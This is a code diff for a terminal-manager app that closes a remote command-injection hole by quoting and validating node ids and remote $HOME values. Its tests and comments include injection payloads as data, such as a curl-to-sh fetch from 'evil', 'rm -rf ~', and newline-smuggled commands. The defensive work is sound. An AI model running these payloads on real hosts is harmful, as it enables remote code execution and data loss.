Skip to content

Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.

fix(security): quote remote env pairs and validate node ids before they reach a remote shell

Claude Code61c3e0e0f364
diff --git a/src/core/agents/grok-paths.ts b/src/core/agents/grok-paths.ts
index b4c46b660..536a23bb1 100644
--- a/src/core/agents/grok-paths.ts
+++ b/src/core/agents/grok-paths.ts
@@ -20,6 +20,7 @@
// summary.json updates.jsonl chat_history.jsonl signals.json plan.json subagents/
import path from 'path'
import { homedir } from 'os'
+import { isSafeRemoteHome } from '../remote-safety'
export const GROK_HOOK_FILE = 'nodeterm-status.json'
export const GROK_SUMMARY_FILE = 'summary.json'
@@ -31,8 +32,6 @@ export const GROK_CHAT_HISTORY_FILE = 'chat_history.jsonl'
* slug+hash directory instead, which we cannot reconstruct — so we resolve nothing there. */
export const GROK_ENCODED_CWD_MAX_BYTES = 255
const GROK_SESSION_ID_MAX = 128
-/** Generous cap on a host-reported $GROK_HOME; longer than any real path, short enough to bound. */
-const REMOTE_HOME_MAX = 4096
// Deliberately narrow — ONE known key, so a typo'd `{ GROK_HOM: … }` is a compile error instead of
// a silent fall back to `~/.grok`. The cast on the default argument is what that costs: GrokEnv is a
@@ -117,11 +116,7 @@ export function grokSessionDir(a: { sessionsDir: string; cwd: string; sessionId:
* trim at the READ site — `ssh-project.ts`'s remote `$HOME` probe does — so the caller passes an
* already-trimmed string and a leftover newline means the read went wrong, not that we should cope. */
export function isSafeRemoteGrokHome(p: string | undefined): boolean {
- const v = p?.trim()
- if (!v || v !== p) return false
- if (!v.startsWith('/') || v.includes('\\') || v.length > REMOTE_HOME_MAX) return false
- return !Array.from(v).some((ch) => {
- const c = ch.charCodeAt(0)
- return c <= 0x1f || c === 0x7f
- })
+ // One rule for every host-reported home (`$HOME` and `$GROK_HOME` are the same kind of answer,
+ // interpolated into the same kind of remote command line) — see `isSafeRemoteHome`.
+ return isSafeRemoteHome(p)
}
diff --git a/src/core/pty-coattach.test.ts b/src/core/pty-coattach.test.ts
index b6128f09d..23f08478d 100644
--- a/src/core/pty-coattach.test.ts
+++ b/src/core/pty-coattach.test.ts
@@ -923,13 +923,17 @@ describe('destroy/recycle: bounded, validated, rate-limited', () => {
it('refuses a persistKey longer than REF_MAX_LEN (no tombstone, no subprocess)', async () => {
const { REF_MAX_LEN } = await import('../shared/presence')
- await manager()
+ const m = await manager()
const huge = 'x'.repeat(REF_MAX_LEN + 1)
await destroy(ALICE, huge)
- // Nothing was recorded, so this is not a node anyone can be locked out of.
- const other = await create(BOB, huge)
- expect(other.closed).toBeUndefined()
+ // Nothing was recorded, so this is not a node anyone can be locked out of. Read the map
+ // DIRECTLY rather than probing with `create`: an over-long id is now refused at the create
+ // choke point too (the node-id guard, added with the remote-injection fix), so a create's
+ // outcome no longer distinguishes "no tombstone" from "refused for another reason".
+ expect((m as unknown as { tombstones: Map<string, unknown> }).tombstones.size).toBe(0)
+ // And the second layer, on the same value: it can never be spent on a spawn either.
+ await expect(create(BOB, huge)).rejects.toThrow(/node id/i)
})
it('bounds the tombstone map: the oldest entries are evicted, the newest still refuse', async () => {
diff --git a/src/core/pty-manager.ts b/src/core/pty-manager.ts
index e17b92f00..32101ffcf 100644
--- a/src/core/pty-manager.ts
+++ b/src/core/pty-manager.ts
@@ -52,6 +52,7 @@ import { writeScrollback, readScrollback, deleteScrollback } from './scrollback-
import { claudeConfigDirFor } from './claude-config-dir'
import { findExecutableSync, findInPathString, resolveShellPath, shellPathNow } from './exec-path'
import { AUTH_ENV_STRIP, accountTmuxEnvArgs, remoteAccountConfigDirAbs } from './claude-accounts-core'
+import { NODE_ID_MAX, isSafeNodeId } from './remote-safety'
import { presenceHub } from './presence/hub'
import {
codexLauncherDir,
@@ -1415,6 +1416,26 @@ export class PtyManager {
private async create(clientId: ClientId, options: PtyCreateOptions): Promise<PtyCreateResult> {
const key = options.persistKey
if (!key) return this.spawnNew(clientId, options)
+ // SECURITY — the choke point for the node id. Every session spawn (local tmux, plain shell,
+ // SSH remote) goes through here, `pty:create` validates its payload nowhere, and node ids come
+ // from `.nodeterm/project.json` — a file that travels in a cloned/shared repo and is written on
+ // remote hosts. The id reaches a REMOTE SHELL verbatim as `NODETERM_NODE_ID=<key>`; quoting at
+ // that splice (`remoteTmuxPtyArgs`) is the primary fix and this is the second layer, so a
+ // future splice that forgets to quote is not instantly exploitable.
+ //
+ // FAILURE DIRECTION — refuse, don't sanitise. Nothing legitimate is refused: every id the app
+ // mints comes from `nextId()` (`<prefix>-<base36>-<counter>`) or `uuid()`, both inside
+ // `[A-Za-z0-9._-]`. And sanitising would be worse than a refusal here rather than merely
+ // safer-looking: `NODETERM_NODE_ID` is a CROSS-BOUNDARY CONTRACT — Canvas.tsx keys
+ // `agentStatus.byId` off the raw node id — so a silently rewritten id would report status for a
+ // node that does not exist, i.e. a terminal that looks fine and is permanently dark. A thrown
+ // error surfaces in the pane where someone can read it.
+ if (!isSafeNodeId(key))
+ throw new Error(
+ `Refusing to open this terminal: its node id is not a safe id (allowed: letters, digits, ` +
+ `dot, dash, underscore; max ${NODE_ID_MAX}). A project file with an id like this cannot be ` +
+ `trusted — it is how a shared or cloned repo would smuggle a command onto a remote host.`
+ )
// Co-attach: a live session for this node id already exists in THIS process (another client,
// or this client's own second view). Subscribe to it instead of spawning a second tmux client
// — `-D` would otherwise kick the first viewer off.
diff --git a/src/core/pty-persist-key-guard.test.ts b/src/core/pty-persist-key-guard.test.ts
new file mode 100644
index 000000000..681043d7f
--- /dev/null
+++ b/src/core/pty-persist-key-guard.test.ts
@@ -0,0 +1,94 @@
+import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'
+import { initPlatform, resetPlatformForTests } from './platform'
+import { fakePlatform, type FakePlatform } from './platform-fake'
+import { IPC } from '../shared/ipc'
+import type { PtyCreateOptions, PtyCreateResult } from '../shared/types'
+
+/**
+ * SECURITY — the choke point. Every session spawn (local tmux, plain shell, SSH remote) goes
+ * through `PtyManager.create`, and `persistKey` is the node id it carries all the way to the
+ * remote tmux command (`NODETERM_NODE_ID=<persistKey>`). The IPC registration validates it not at
+ * all, and node ids come from `.nodeterm/project.json` — a file that travels in a cloned/shared
+ * repo. Layer 1 (quoting in `remoteTmuxPtyArgs`) makes the value inert; this is layer 2, refusing
+ * it before any code path can spend it.
+ *
+ * Failure direction: REFUSE. Every id the app mints (`nextId()` = `<prefix>-<base36>-<counter>`,
+ * `uuid()`) passes, so nothing legitimate is refused; and sanitising instead would silently change
+ * the id that `NODETERM_NODE_ID` reports back, orphaning every hook event for that node.
+ */
+const spawned: Array<{ file: string; args: string[] }> = []
+
+vi.mock('node-pty', () => ({
+ spawn: (file: string, args: string[]) => {
+ spawned.push({ file, args })
+ return {
+ onData: () => {},
+ onExit: () => {},
+ write: () => {},
+ resize: () => {},
+ pause: () => {},
+ resume: () => {},
+ kill: () => {},
+ pid: 4321
+ }
+ }
+}))
+
+// Same reason as pty-require-remote.test.ts: keep the developer's own pty pressure out of this.
+vi.mock('./pty-devices', async (importOriginal) => ({
+ ...(await importOriginal<typeof import('./pty-devices')>()),
+ readPtyDevices: () => ({ ceiling: 511, inUse: 8 })
+}))
+
+const ALICE = 1
+
+describe('pty create: an unsafe persistKey never reaches a spawn', () => {
+ let fake: FakePlatform
+
+ beforeEach(async () => {
+ spawned.length = 0
+ fake = fakePlatform()
+ initPlatform(fake)
+ const { PtyManager } = await import('./pty-manager')
+ new PtyManager().registerIpc()
+ })
+ afterEach(() => {
+ resetPlatformForTests()
+ })
+
+ const create = (options: Partial<PtyCreateOptions>) =>
+ fake.handlers[IPC.ptyCreate](ALICE, { cols: 80, rows: 24, ...options }) as Promise<PtyCreateResult>
+
+ const UNSAFE = [
+ ['..', 'traversal'],
+ ['.', 'traversal'],
+ ['a/b', 'a path, not an id'],
+ ['a;b', 'a command separator'],
+ ['n1;curl${IFS}http://evil/x|sh;#', 'the proven remote-injection payload'],
+ ['a b', 'word splitting'],
+ ['a\nb', 'a second command line'],
+ ['a`id`', 'command substitution'],
+ ['a'.repeat(300), 'unbounded']
+ ] as const
+
+ for (const [key, why] of UNSAFE) {
+ it(`refuses ${JSON.stringify(key.slice(0, 40))} — ${why}`, async () => {
+ await expect(create({ persistKey: key, cwd: '/srv/app' })).rejects.toThrow(/node id/i)
+ expect(spawned).toHaveLength(0)
+ })
+ }
+
+ it('an EMPTY persistKey is not an unsafe id — it is "no persistence", and still spawns', async () => {
+ // `create()` already treats a falsy persistKey as the non-persistent path (`spawnNew` straight
+ // away). Refusing it here would break every ephemeral pty (previews, one-shot runs).
+ const res = await create({ persistKey: '', cwd: '/srv/app' })
+ expect(res.sessionId).not.toBe('')
+ expect(spawned).toHaveLength(1)
+ })
+
+ it('accepts the ids the app actually mints', async () => {
+ for (const key of ['term-mabc123-7', 'ssh-mabc123-1', '3f2a1b4c-7d8e-4f10-9a2b-1c3d5e7f9a0b'])
+ expect((await create({ persistKey: key, cwd: '/srv/app' })).sessionId).not.toBe('')
+ expect(spawned).toHaveLength(3)
+ })
+})
diff --git a/src/core/remote-safety.test.ts b/src/core/remote-safety.test.ts
new file mode 100644
index 000000000..4745cdc47
--- /dev/null
+++ b/src/core/remote-safety.test.ts
@@ -0,0 +1,56 @@
+import { describe, expect, it } from 'vitest'
+import { NODE_ID_MAX, isSafeNodeId, isSafeRemoteHome } from './remote-safety'
+
+describe('isSafeNodeId', () => {
+ it('accepts every shape the app actually mints', () => {
+ // `nextId()` in state/workspace.ts: `<prefix>-<base36 time>-<counter>`.
+ for (const id of ['term-mabc123-7', 'ssh-mabc123-1', 'node-1', 'a', 'A_b.c-1', '9'])
+ expect(isSafeNodeId(id)).toBe(true)
+ })
+
+ it('refuses anything a remote shell could read as structure', () => {
+ for (const id of [
+ 'a;b',
+ 'a b',
+ 'a|b',
+ 'a$b',
+ 'a`b`',
+ 'a\nb',
+ 'a\\b',
+ "a'b",
+ 'a"b',
+ 'n1;curl${IFS}http://evil/x|sh;#'
+ ])
+ expect(isSafeNodeId(id)).toBe(false)
+ })
+
+ it('refuses path-shaped and empty ids', () => {
+ for (const id of ['', '.', '..', 'a/b', '../../etc/passwd', undefined])
+ expect(isSafeNodeId(id)).toBe(false)
+ })
+
+ it('refuses an over-long id (a bounded value is a checkable value)', () => {
+ expect(isSafeNodeId('a'.repeat(NODE_ID_MAX))).toBe(true)
+ expect(isSafeNodeId('a'.repeat(NODE_ID_MAX + 1))).toBe(false)
+ expect(isSafeNodeId('a'.repeat(300))).toBe(false)
+ })
+})
+
+describe('isSafeRemoteHome', () => {
+ it('accepts real absolute homes, including spaces and non-ASCII', () => {
+ for (const h of ['/home/u', '/Users/Enes Kırca', '/var/lib/deploy', '/'])
+ expect(isSafeRemoteHome(h)).toBe(true)
+ })
+
+ it('refuses a host answer carrying a control character — the newline is a command separator', () => {
+ expect(isSafeRemoteHome('/home/u\nrm -rf /')).toBe(false)
+ expect(isSafeRemoteHome('/home/u\r')).toBe(false)
+ expect(isSafeRemoteHome('/home/u\t')).toBe(false)
+ expect(isSafeRemoteHome('/home/u\x7f')).toBe(false)
+ })
+
+ it('refuses relative / empty / backslashed / untrimmed / absurd answers', () => {
+ for (const h of ['', undefined, 'home/u', 'C:\\Users\\u', ' /home/u', '/home/u ', `/${'a'.repeat(5000)}`])
+ expect(isSafeRemoteHome(h)).toBe(false)
+ })
+})
diff --git a/src/core/remote-safety.ts b/src/core/remote-safety.ts
new file mode 100644
index 000000000..20311e570
--- /dev/null
+++ b/src/core/remote-safety.ts
@@ -0,0 +1,62 @@
+/**
+ * Predicates for values that cross into a REMOTE SHELL.
+ *
+ * Both of these guard the same class of bug: a string that arrived as DATA (a node id read out of
+ * `.nodeterm/project.json`, a `$HOME` a host printed back at us) ends up inside a command line the
+ * remote user's shell parses. Quoting at the splice site is the primary defence — see
+ * `remoteTmuxPtyArgs` and `RemoteHooks.setup` — and these are the second layer, applied where the
+ * value ENTERS the system so a future splice that forgets to quote is not instantly exploitable.
+ *
+ * No node/electron imports: usable from core, main, and the server shell alike.
+ */
+
+/** Generous cap on a node id — longer than anything the app mints, short enough to bound. */
+export const NODE_ID_MAX = 128
+/** Generous cap on a host-reported `$HOME`; longer than any real path (PATH_MAX on Linux). */
+export const REMOTE_HOME_MAX = 4096
+
+/**
+ * Is this a node id (a `persistKey`) safe to carry into a remote command line and a filesystem
+ * path?
+ *
+ * Charset is deliberately narrower than "no metacharacters": `[A-Za-z0-9._-]` covers every id the
+ * app actually produces — `nextId()` emits `<prefix>-<base36 time>-<counter>` and `uuid()` emits
+ * hex-with-dashes — so the answer to "could this refuse something legitimate?" is a list, not a
+ * guess. `.` and `..` are refused on top of the charset: they pass it but name a directory, and
+ * these ids are also used as path components (session files, per-node remote state). It is also
+ * the charset the codex identity shim ALREADY enforces on `$NODETERM_NODE_ID` before it will use
+ * it (`codex-identity-proxy.ts`: `*[!A-Za-z0-9._-]*) nt_fail node-id-unavailable`), so this is the
+ * existing rule moved to the boundary rather than a new one invented here.
+ *
+ * An EMPTY id is refused here and must be handled by the caller as "not persistent" rather than as
+ * a violation — `PtyManager.create` already branches on a falsy `persistKey` before it asks.
+ */
+export function isSafeNodeId(id: string | undefined | null): boolean {
+ if (!id || id.length > NODE_ID_MAX) return false
+ if (id === '.' || id === '..') return false
+ return /^[A-Za-z0-9._-]+$/.test(id)
+}
+
+/**
+ * Is a remote host's answer to `printf %s "$HOME"` usable for building remote paths?
+ *
+ * The host's answer is data, not truth. Only an absolute POSIX path with no backslash and no
+ * control character is usable — a newline in particular is a COMMAND SEPARATOR on the remote
+ * command lines the caller then builds. Spaces and non-ASCII are permitted: `/Users/Enes Kırca` is
+ * a real home, and rejecting it would disable hooks for that user; the caller quotes the value, so
+ * a space is a quoting problem, not a safety one.
+ *
+ * Like `isSafeRemoteGrokHome` (which delegates here) it judges the EXACT string the caller holds —
+ * surrounding whitespace is a rejection, not something this quietly strips. Trimming here would
+ * return `true` about a value whose embedded `\n` the caller is about to interpolate. Remote reads
+ * trim at the READ site instead.
+ */
+export function isSafeRemoteHome(p: string | undefined | null): boolean {
+ const v = p?.trim()
+ if (!v || v !== p) return false
+ if (!v.startsWith('/') || v.includes('\\') || v.length > REMOTE_HOME_MAX) return false
+ return !Array.from(v).some((ch) => {
+ const c = ch.charCodeAt(0)
+ return c <= 0x1f || c === 0x7f
+ })
+}
diff --git a/src/core/remote-ssh/control-master.injection.test.ts b/src/core/remote-ssh/control-master.injection.test.ts
new file mode 100644
index 000000000..f263cf184
--- /dev/null
+++ b/src/core/remote-ssh/control-master.injection.test.ts
@@ -0,0 +1,143 @@
+import { describe, expect, it } from 'vitest'
+import { remoteHookEnvArgs, remoteTmuxPtyArgs } from './control-master'
+import { accountTmuxEnvArgs } from '../claude-accounts-core'
+
+/**
+ * SECURITY REGRESSION TEST — remote command injection through a node id.
+ *
+ * `remoteTmuxPtyArgs` builds ONE SHELL LINE that `ssh -t` hands to the remote user's login shell.
+ * Everything in it is `posixQuote`d except, until this fix, the `extraEnv` `-e KEY=VALUE` pairs,
+ * which carry the RAW React Flow node id (`remoteHookEnvArgs` → `NODETERM_NODE_ID=<id>`) and the
+ * managed-account config dir. A node id lives in `.nodeterm/project.json`, a file that travels in
+ * a cloned/shared repo and is written on remote hosts — i.e. it is attacker-supplied data. The
+ * proven payload was:
+ *
+ * tmux -L nodeterm-rmt new-session -A -e NODETERM_HOOK_ENDPOINT=/ep \
+ * -e NODETERM_NODE_ID=n1;curl${IFS}http://evil/x|sh;# … -s 'nt-n1' -c '/home/u'
+ *
+ * where the `;` ends the tmux command and the rest runs as the SSH user the moment the victim
+ * opens that node. The LOCAL path was never exposed: it spawns tmux with an argv array, and
+ * `sessionName()` sanitises the session name to `[A-Za-z0-9_-]` anyway.
+ *
+ * The assertion is therefore about SHELL STRUCTURE, not about a substring: parse the line the way
+ * `sh` would and require that (a) no metacharacter survives outside single quotes and (b) the whole
+ * payload lands as ONE literal argv element. Delete the quoting in `remoteTmuxPtyArgs` and both
+ * halves fail.
+ */
+
+/** Every character that is command STRUCTURE to a POSIX shell when it appears unquoted. */
+const META = '|&;<>()$`"\n\r*?[]{}!#~\\'
+
+/**
+ * Parse a remote command line the way `sh` would: single quotes are literal, whitespace splits
+ * words. Returns the resulting argv plus every metacharacter that survived OUTSIDE single quotes —
+ * a non-empty `unquotedMeta` means the line carries shell structure the caller did not intend.
+ */
+function shellParse(cmd: string): { argv: string[]; unquotedMeta: string[] } {
+ const argv: string[] = []
+ const unquotedMeta: string[] = []
+ let cur = ''
+ let started = false
+ let inQuote = false
+ const flush = (): void => {
+ if (started) argv.push(cur)
+ cur = ''
+ started = false
+ }
+ for (let i = 0; i < cmd.length; i++) {
+ const ch = cmd[i]
+ if (inQuote) {
+ // Inside '…' every byte is literal, including metacharacters, until the closing quote.
+ if (ch === "'") inQuote = false
+ else cur += ch
+ continue
+ }
+ if (ch === "'") {
+ inQuote = true
+ started = true
+ continue
+ }
+ // A backslash OUTSIDE quotes escapes the next byte — it is how `posixQuote` re-enters a single
+ // quote (`'\''`), so it is data, not structure, and must not be counted as a metacharacter.
+ if (ch === '\\' && i + 1 < cmd.length) {
+ cur += cmd[++i]
+ started = true
+ continue
+ }
+ if (ch === ' ' || ch === '\t') {
+ flush()
+ continue
+ }
+ if (META.includes(ch)) unquotedMeta.push(ch)
+ cur += ch
+ started = true
+ }
+ flush()
+ return { argv, unquotedMeta }
+}
+
+const conn = { host: 'h.example.com', user: 'deploy', port: 2222, identityFile: '/k/id' }
+
+/** Every shell escape an attacker gets from a project.json node id, in one string. */
+const PAYLOAD = "n1;curl${IFS}http://evil/x|sh;#`id`$(id)&&rm -rf ~\nwhoami\r'quote'\"dq\""
+
+describe('remoteTmuxPtyArgs: an attacker-controlled node id is DATA, never command structure', () => {
+ it('the parser itself sees structure in an UNQUOTED payload (guards the assertion)', () => {
+ // Without this the test could pass because the parser is blind rather than because the code
+ // quotes. Feed it the pre-fix shape by hand and require it to notice.
+ const bad = shellParse(`tmux new-session -A -e NODETERM_NODE_ID=${PAYLOAD} -s 'nt-n1'`)
+ expect(bad.unquotedMeta.length).toBeGreaterThan(0)
+ })
+
+ it('splices the hook env pairs as literal single arguments (node id payload and all)', () => {
+ const args = remoteTmuxPtyArgs(
+ conn,
+ '/s.sock',
+ 'nt-n1',
+ '/home/u',
+ undefined,
+ undefined,
+ remoteHookEnvArgs('/home/u/.nodeterm/hook-endpoint-p1.env', PAYLOAD, '1', 'claude'),
+ '/home/u/.nodeterm/tmux.conf'
+ )
+ const cmd = args[args.length - 1]
+ const { argv, unquotedMeta } = shellParse(cmd)
+ // (a) nothing in the line is command structure any more.
+ expect(unquotedMeta).toEqual([])
+ // (b) the payload is ONE argument, verbatim — tmux gets it as an env value, sh never sees it.
+ expect(argv).toContain(`NODETERM_NODE_ID=${PAYLOAD}`)
+ // and the command is still exactly one tmux invocation with the expected shape.
+ expect(argv.slice(0, 3)).toEqual(['tmux', '-L', 'nodeterm-rmt'])
+ expect(argv.filter((a) => a === 'new-session')).toHaveLength(1)
+ expect(argv).toContain('nt-n1')
+ expect(argv).toContain('/home/u')
+ })
+
+ it('quotes the managed-account CLAUDE_CONFIG_DIR pair too (same splice, same file provenance)', () => {
+ // `accountId` and the remote `$HOME` both reach this splice; neither is quoted by its producer.
+ const args = remoteTmuxPtyArgs(conn, '/s.sock', 'nt-n1', '/home/u', undefined, undefined, [
+ ...accountTmuxEnvArgs('/home/u/.nodeterm/claude-accounts/a;id;b')
+ ])
+ const { argv, unquotedMeta } = shellParse(args[args.length - 1])
+ expect(unquotedMeta).toEqual([])
+ expect(argv).toContain('CLAUDE_CONFIG_DIR=/home/u/.nodeterm/claude-accounts/a;id;b')
+ })
+
+ it('leaves a benign node id readable in the argv (the quoting is not lossy)', () => {
+ const args = remoteTmuxPtyArgs(conn, '/s.sock', 'nt-term-1', '/srv/app', undefined, undefined, [
+ '-e',
+ 'NODETERM_HOOK_ENDPOINT=/home/u/.nodeterm/hook-endpoint-p1.env',
+ '-e',
+ 'NODETERM_NODE_ID=term-mabc-3'
+ ])
+ const { argv } = shellParse(args[args.length - 1])
+ expect(argv).toContain('-e')
+ expect(argv).toContain('NODETERM_NODE_ID=term-mabc-3')
+ expect(argv).toContain('NODETERM_HOOK_ENDPOINT=/home/u/.nodeterm/hook-endpoint-p1.env')
+ // The `-e` pairs still sit between `-A` and `-s`, where tmux requires them.
+ const i = argv.indexOf('-A')
+ const s = argv.indexOf('-s')
+ expect(argv.indexOf('NODETERM_NODE_ID=term-mabc-3')).toBeGreaterThan(i)
+ expect(argv.indexOf('NODETERM_NODE_ID=term-mabc-3')).toBeLessThan(s)
+ })
+})
diff --git a/src/core/remote-ssh/control-master.test.ts b/src/core/remote-ssh/control-master.test.ts
index 1e8d8c74b..ff805e373 100644
--- a/src/core/remote-ssh/control-master.test.ts
+++ b/src/core/remote-ssh/control-master.test.ts
@@ -244,7 +244,11 @@ describe('remoteTmuxPtyArgs', () => {
'-e', 'NODETERM_NODE_ID=nt-x'
])
const cmd = args[args.length - 1]
- expect(cmd).toContain('new-session -A -e NODETERM_HOOK_ENDPOINT=/r/ep.env -e NODETERM_NODE_ID=nt-x -s')
+ // Each token is posix-quoted: this is ONE remote shell line, and the pair values carry the raw
+ // node id (see control-master.injection.test.ts for the injection this closes).
+ expect(cmd).toContain(
+ `new-session -A '-e' 'NODETERM_HOOK_ENDPOINT=/r/ep.env' '-e' 'NODETERM_NODE_ID=nt-x' -s`
+ )
})
it('threads confPath to remoteTmuxCommand as a `-f` source before new-session', () => {
const args = remoteTmuxPtyArgs(conn, '/s.sock', 'nt-x', '/srv/app', undefined, undefined, [], '/home/u/.nodeterm/tmux.conf')
diff --git a/src/core/remote-ssh/control-master.ts b/src/core/remote-ssh/control-master.ts
index 5ddd7008b..b997590e4 100644
--- a/src/core/remote-ssh/control-master.ts
+++ b/src/core/remote-ssh/control-master.ts
@@ -485,6 +485,17 @@ export function remoteEndpointFileContents(sock: string, token: string, version:
* The remote PTY program is `ssh <childArgs> host -t '<remoteTmuxCommand>'`. `extraEnv` is an
* already-built list of tmux `-e KEY=VALUE` pairs (e.g. from `remoteHookEnvArgs`) spliced into
* the `new-session` command right after `-A`, mirroring the local tmux `-e` placement.
+ *
+ * SECURITY — every token is `posixQuote`d, including the `-e` flags themselves (quoting a flag is
+ * a no-op to the shell, and hard-coding "even indices are flags" would be an assumption about a
+ * caller's array shape rather than a property of this function). This is NOT decoration: the
+ * result is ONE SHELL LINE handed to the remote user's login shell, and the values here carry the
+ * RAW node id (`NODETERM_NODE_ID`) and the managed-account config dir — both of which come out of
+ * `.nodeterm/project.json`, a file that travels in a cloned or shared repo and is written on
+ * remote hosts. Spliced unquoted (as this did until 2026-08), a node id of
+ * `n1;curl http://evil/x|sh;#` ended the tmux command and ran the rest as the SSH user the moment
+ * the victim opened that node. Everything else in `remoteTmuxCommand` was already quoted; this was
+ * the one gap. See control-master.injection.test.ts.
*/
export function remoteTmuxPtyArgs(
conn: SshConnection,
@@ -497,6 +508,7 @@ export function remoteTmuxPtyArgs(
confPath?: string
): string[] {
let cmd = remoteTmuxCommand({ sessionId, remoteCwd, program, programArgs, socket: RMT_TMUX_SOCKET, confPath })
- if (extraEnv.length) cmd = cmd.replace('new-session -A ', `new-session -A ${extraEnv.join(' ')} `)
+ if (extraEnv.length)
+ cmd = cmd.replace('new-session -A ', `new-session -A ${extraEnv.map(posixQuote).join(' ')} `)
return ['-t', ...childArgs(conn, controlPath, cmd)]
}
diff --git a/src/main/remote-ssh/remote-hooks.test.ts b/src/main/remote-ssh/remote-hooks.test.ts
index 01aae924a..b78c3a027 100644
--- a/src/main/remote-ssh/remote-hooks.test.ts
+++ b/src/main/remote-ssh/remote-hooks.test.ts
@@ -49,7 +49,7 @@ describe('RemoteHooks.setup', () => {
// reverse forward binds the ABSOLUTE remote socket (no unexpanded ~).
expect(joined.some((j) => j.includes('-O forward') && j.includes('/home/u/.nodeterm/hook-p1.sock:127.0.0.1:51234'))).toBe(true)
// endpoint file written to the absolute PER-PROJECT path, with the absolute sock + token.
- expect(joined.some((j) => j.includes('cat > /home/u/.nodeterm/hook-endpoint-p1.env'))).toBe(true)
+ expect(joined.some((j) => j.includes(`cat > '/home/u/.nodeterm/hook-endpoint-p1.env'`))).toBe(true)
expect(
calls.some(
(c) =>
@@ -58,8 +58,8 @@ describe('RemoteHooks.setup', () => {
)
).toBe(true)
// managed script written to the absolute path + config merged with the guarded command.
- expect(joined.some((j) => j.includes('cat > /home/u/.nodeterm/agent-hooks/claude.sh'))).toBe(true)
- expect(joined.some((j) => j.includes('cat > /home/u/.claude/settings.json'))).toBe(true)
+ expect(joined.some((j) => j.includes(`cat > '/home/u/.nodeterm/agent-hooks/claude.sh'`))).toBe(true)
+ expect(joined.some((j) => j.includes(`cat > '/home/u/.claude/settings.json'`))).toBe(true)
expect(calls.some((c) => (c.stdin ?? '').includes('--unix-socket'))).toBe(true)
// The merged command guards on the script still existing — a removed ~/.nodeterm must not
// make every prompt fail the hook (a non-zero UserPromptSubmit hook blocks the prompt).
@@ -168,11 +168,47 @@ describe('RemoteHooks.setup', () => {
expect(b?.endpointPath).toBe('/home/u/.nodeterm/hook-endpoint-ssh-browse-xyz.env')
// the browse writes ITS OWN endpoint file, never the real project's.
const joined = calls.map((c) => c.args.join(' '))
- expect(joined.some((j) => j.includes('cat > /home/u/.nodeterm/hook-endpoint-ssh-browse-xyz.env'))).toBe(true)
+ expect(joined.some((j) => j.includes(`cat > '/home/u/.nodeterm/hook-endpoint-ssh-browse-xyz.env'`))).toBe(true)
expect(joined.some((j) => j.includes('hook-endpoint-proj.env'))).toBe(false)
})
})
+/**
+ * SECURITY — the remote `$HOME` is a HOST ANSWER, i.e. data, not truth. `setup()` splices it into
+ * `mkdir -p <remoteDir> && rm -f <sock>` and into every `cat > <config>`, and those are remote
+ * SHELL LINES. A `$HOME` carrying a newline therefore appends a second command; a `$HOME` carrying
+ * a space silently breaks the install (the unquoted `mkdir` word-splits). Two layers, matching the
+ * fix in `remoteTmuxPtyArgs`: validate the answer, then quote every path built from it. Same
+ * fail-open direction the surrounding code already takes — an unusable answer returns null and the
+ * host simply runs without hooks.
+ */
+describe('RemoteHooks.setup — a hostile remote $HOME', () => {
+ it('returns null and interpolates NOTHING when $HOME carries a newline', async () => {
+ const { rh, conn, runs } = harness({ responses: { $HOME: '/home/u\nid > /tmp/pwned' } })
+ const res = await rh.setup('p1', conn, '/s.sock', { port: 51234, token: 'tok', version: '1' })
+ expect(res).toBeNull()
+ // Nothing beyond the probe itself may have run — no forward, no mkdir, no write.
+ expect(runs.some((r) => r.cmd.includes('id > /tmp/pwned'))).toBe(false)
+ expect(runs.some((r) => r.cmd.includes('mkdir'))).toBe(false)
+ expect(runs.some((r) => r.cmd.includes('-O forward'))).toBe(false)
+ })
+
+ it('quotes every path it builds from $HOME, so a home with a space still installs', async () => {
+ const { rh, conn, runs } = harness({ responses: { $HOME: '/Users/Enes K' } })
+ const res = await rh.setup('p1', conn, '/s.sock', { port: 51234, token: 'tok', version: '1' })
+ expect(res?.endpointPath).toBe('/Users/Enes K/.nodeterm/hook-endpoint-p1.env')
+ const joined = runs.map((r) => r.cmd)
+ expect(joined.some((j) => j.includes(`mkdir -p '/Users/Enes K/.nodeterm'`))).toBe(true)
+ expect(joined.some((j) => j.includes(`cat > '/Users/Enes K/.nodeterm/hook-endpoint-p1.env'`))).toBe(true)
+ expect(joined.some((j) => j.includes(`cat > '/Users/Enes K/.claude/settings.json'`))).toBe(true)
+ // No path derived from $HOME survives UNQUOTED in any remote SHELL LINE (the last argv element
+ // of an ssh child is the command the remote shell parses; the `-R` forward spec is an ssh
+ // OPTION, not a shell word, so it is excluded by construction).
+ const shellLines = runs.map((r) => r.args[r.args.length - 1])
+ expect(shellLines.some((line) => /(?<!')\/Users\/Enes K/.test(line))).toBe(false)
+ })
+})
+
describe('RemoteHooks.setup — grok', () => {
// The host's $GROK_HOME is deliberately a path the `$HOME/.grok` fallback could NEVER produce.
// With the two byte-identical (`$HOME: /home/dev` + `GROK_HOME: /home/dev/.grok`) the whole
diff --git a/src/main/remote-ssh/remote-hooks.ts b/src/main/remote-ssh/remote-hooks.ts
index 85ee29943..807be2902 100644
--- a/src/main/remote-ssh/remote-hooks.ts
+++ b/src/main/remote-ssh/remote-hooks.ts
@@ -8,6 +8,7 @@
import { childArgs, hookForwardArgs, hookForwardCancelArgs, remoteEndpointFileContents } from '../../core/remote-ssh/control-master'
import { CLAUDE_HOOK_EVENTS, GEMINI_HOOK_EVENTS, GROK_HOOK_EVENTS } from '@shared/agents/hook-events'
import { GROK_HOOK_FILE, isSafeRemoteGrokHome } from '../../core/agents/grok-paths'
+import { isSafeRemoteHome } from '../../core/remote-safety'
import { buildManagedScript } from '../../core/agents/hooks/managed-script'
/**
@@ -91,8 +92,14 @@ export class RemoteHooks {
try {
// 0. resolve the remote $HOME once → build all remote paths absolute (no unexpanded ~).
const { code, stdout } = await this.r.run(childArgs(conn, controlPath, 'printf %s "$HOME"'))
+ // Trim at the READ site (`printf %s` emits no newline, but a login-shell banner or a shell
+ // wrapper can add one), then VALIDATE: every path below is spliced into a remote SHELL LINE,
+ // so a `$HOME` carrying a newline would append a second command to it. The host's answer is
+ // data, not truth. Fail-open in the direction this whole method already takes — an unusable
+ // answer means no hooks, never a half-built remote path. (Layer two is the quoting below;
+ // both are needed: the validator bounds what can arrive, the quoting bounds what it can do.)
const home = stdout.trim()
- if (code !== 0 || !home) return null // fail-open: nothing else would work
